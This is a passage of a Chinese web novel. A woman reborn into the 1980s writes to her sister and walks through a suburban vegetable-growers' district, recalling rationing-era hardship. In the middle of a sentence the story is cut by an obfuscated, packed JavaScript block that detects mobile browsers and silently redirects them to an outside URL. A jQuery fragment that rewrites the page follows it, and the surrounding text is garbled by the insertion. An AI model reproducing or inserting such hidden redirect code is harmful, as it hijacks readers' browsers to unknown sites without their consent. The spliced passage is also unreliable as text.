戴广林他爷爷就是双胞胎,他妹妹也是双胞胎,他家在我们这边因为生双胞胎很出名,不过他们不喜欢我们,也不跟我们来往了,因为娶我,二林他爸把他胳膊都打折了,可他还是对我好。 我没有娘家,没有亲人,谁都能欺负我,姐,我想我是需要你保护的,哪怕你不来只要你好好的,我就还有个姐姐,算作有个娘家人,所以请一定一定一定要好好的,我只有你了。 姐姐,从前那时候不好过,爸爸就鼓励说,悲哀是一只果子,它不会生长在太柔软承载不起它的树枝上,这话也是一个叫果子的人说的。 爸爸用这话鼓励我变成大树,可以结很多很多果子的树……可,我宁愿不结果……我想做花房里的花,不必接受风吹雨打,我想做屋里的苔藓,因为不起眼而安全…… 苔藓,查字典。 一生的委屈找到了发泄点,许玉姝写啊写啊,连写了好多张纸,直到蜡烛烧完天色渐渐明亮,她才在最后写到……姐姐我有过恨,那些害爸爸的,那些看不起我的,那些舍弃我们的……可我现在不恨了。 人这一生很长,时间是很快的,我想我不该把我的人生放在不好的情绪里,我要好好活着,你也要好好活。 最后拜托姐姐一件事,你如果有空能回来一次吗,我还有很重要的事情与你商议。 我从爸爸的单位拿到了一万三千块钱,可别人都说,平反的那些人都是发还了家产的,可咱家的老房子现在住着很多户人家,想是要不回来了,可回不来也该给个说法吧。 还有我现在的户口问题也急需解决,这关系到孩子们入学的问题。我跟二林都是菜民户口,那我曾经是城市户口的,如果能转,孩子们也能随我,这是符合政策的……” 墙外传来公鸡叫声,老四不安的翻了一下身继续睡,许玉姝扭头看着孩子笑,从前她必然不会发现这几个孩子的好处,如今再看,他们睡长觉,绝不会大半夜起来打搅母亲。 这就很珍贵了。 许玉姝给姐姐布置了一大堆任务,她必须给她一种孤立无援迫切需要姐姐保护的样子。被需要也是一种动力,被人依赖更是一种价值。 她就是这样孤立无援,跟丈夫活的可怜极了,每个月跟丈夫连一百块钱收入都没有。 她可太需要姐姐来救济了。 最后将信反复读了几遍,改了几处错放好,许玉姝就抱着家里蒸锅上了街。 她今天也没想起来怎么烧火,家里甚至二分钱一盒的火柴都没有了。 城郊的公路还算平坦,菜场的菜地发着一股子人废发酵过的臭气。 许玉姝丁点不嫌弃,只觉着久违了。 八十年代的清晨就像一首故人诗,甚至许玉姝都在心里写了一些近似诗歌的东西。 她年轻的脚步轻盈,心里默念着,我随清风入故梦,娘在灶边坐着,爹工地上托着,孩子在人间野着,牛在田埂上歇着,它嚼着我故乡的草,风吹不动它们,只能将我吹离…… 自行车铃铛脆响,收音机里的播音员底气十足字字清晰:各位听众早上好,现在为您播报《报纸摘要》……报消息,关于城镇非农业个体经济若干政策性规定…… 喜滋滋的燕子全家蹲在电线上听,扫街的在街边一下一下的划拉马路。 奶场的送奶工靠着街边的柳树边,有气无力的敲着锣,后来这位就有了一个电喇叭。 许玉姝过去想订牛奶,送奶工问她有奶票吗? 当然没有,许玉姝只好继续往粮店走。 八十年代的城市是什么样子的?记忆里模糊的,被忘却的东西渐渐清晰起来。 八十年的房子都是矮着的,它处处简单却不简陋,它出奇的有志气,大部分人觉着自己只要努力,那就一切都是早晚的事儿。 即便自己努力不到,国家早晚也会给。 伟大的人民都坚信自己只要努力就能超越西方,后来真的超越了,许玉姝就是时光见证人。 不过她也要批判,不是对这里,而是对后来的小孩们拍的视频,那些年轻人在乡下弄个房子,假模假样儿的过现在的日子了? 要许玉姝去看,那真是遍地破绽。 好家伙背景音是难忘今宵,一家三代假装回到过去,还过年吃饺子呢。 一个星期,好劳力赚一块来钱的日子他们是真没过过。 每次许玉姝看了都叹息,哎呦,娃们可别瞎整了,可别怀旧了,让你们真的回来,这样的日子你们是一天都过不下去啊。 二两油一个月的日子你们能过?全家一个月六斤豆腐的配额你们能行?能评上一等品的绵羊最少九十斤,供销社每斤才给三毛钱。 记忆深刻的一件事,七十年代末街头一家老太太拿着全家的供应本子上副食店排队,结果三个儿子家的粮食供应,副食供应本子都丢了,这家的天就塌了。 许当晚孩子们的话有点重,那老太太就要去投河,几个儿子当街给跪着求回去的,厂子整个生活区的人给捐款捐票,这家人才坚持下来。 后来的那些孩子整的那个视频,穿着簇新厚墩墩的花棉袄窜门儿,邻居进门大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420093|200800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈还特热情的说,孩子快进屋暖和暖和,吃饭没呢?就家里吃吧…… 这大妈什么豪奢户口敢留几个孩子在家里吃饭? 见过祖传三代的棉裤没?见过拼接的毛裤没?见过慈爱的祖母每天晚上咬着孩子们的衣服边缘,一路咔咔作响的画面没? 这个老祖母就是二林的奶奶,二林说他奶奶眼神不好,只好用嘴给他咬棉袄缝里的虮子虱子,他还以为奶奶爱吃这个,有天去邻居家,看那家的母亲在给孩子篦虱子,他就从棉袄破洞里揪出一团棉花捧着说,婶子婶子你别按死了,给我吧,都放这里,我奶爱吃这个…… 后来的日子多好啊,许玉姝那时候最爱跟孩子们说,你们要惜福啊,要感谢国家啊,可孩子们不爱听这个,他们喜欢摇花手?还有摇一摇? 大解放车来到城市边缘,卸下还在冒着白烟的煤灰渣,一群早起的妇女瞬间冲进去,拿铁丝耙子开始划拉,她们要找到没有燃烧干净的煤炭,存着冬天燃烧。 这些可不是菜民,是正儿八经负担重的那类工人家属,他们冬天有定量的煤炭供应,好一点的一吨要二十六左右,高价的一吨要二十八到三十块钱。 这些主妇存的煤渣,能让孩子们暖半冬。 而生产蔬菜的菜农们,因为照顾土大棚的原因煤炭多有照顾,他们很少去趴煤灰堆。 许玉姝住步看了一会在心里说,就再等等吧,这个国家将会好的你们不敢相信。 就莫名有点小骄傲是怎么回事? 肩挑手提去城里搞副业的菜场街坊都在跟她打招呼,他们家里的自留地虽然小,可跟一年最多收一两次粮食农民的不一样,韭菜你割了一茬又一茬,一条瓜藤总要不停地吊瓜,郊区穿过一条街就是城里,这个时候的人们其实已经闻到钱味儿了。 这些面孔也相当熟,都是红星新村CBD的各级领导,许玉姝笑眯眯的回应,大家还挺意外的。 这小媳妇从前根本不会回应,她提前看到人肯定绕路。 不尴不尬的支应几声,她目送她们远去,消失在这个城市的大街小巷,等再过几年,这些被城里人看不起的菜民家家都是小二楼,家家都有嘉陵摩托车。 等到城市拆迁,他们的地盘又是几任领导的老大难。因为种菜的地没了,他们就在家里的宅基地上起了最少三层的小楼,开始经营小旅馆小饭店,那也不是补偿几套房能弥补的。 人家都是正经八百的本地人,上数十八代的邵阳坐地户。据说最多的一家,开发公司给了十二层住宅楼的整单元。 又一批领导过来,热情依旧。 “向阳妈去哪儿啊?” “国营粮店。” “你这日子美,二林给你挣上了,你可花吧。” “说的是什么屁话,我家可没自留地。” “呦,今儿吃了开口药了,还知道屁话,你再放两个话我听听?哈哈哈哈,抓把豆角子吃去!” “算啦,回头我去你家地里摘。” “今儿都掐了,你明天挑嫩的掐去。” “好,有芫荽吗?” “这可没有,你去三队看看,他们领种子了。” “二林媳妇出去啊?” “嗯,去打点豆浆油果子。” “二林回来了啊?” “没呢,是孩子们想吃呢。” “真舍得……” 得二林的福,人家在菜场人缘好的不得了,他初中开始跟菜场的一把子年轻人混,这里的人都当他红星菜场的孩子。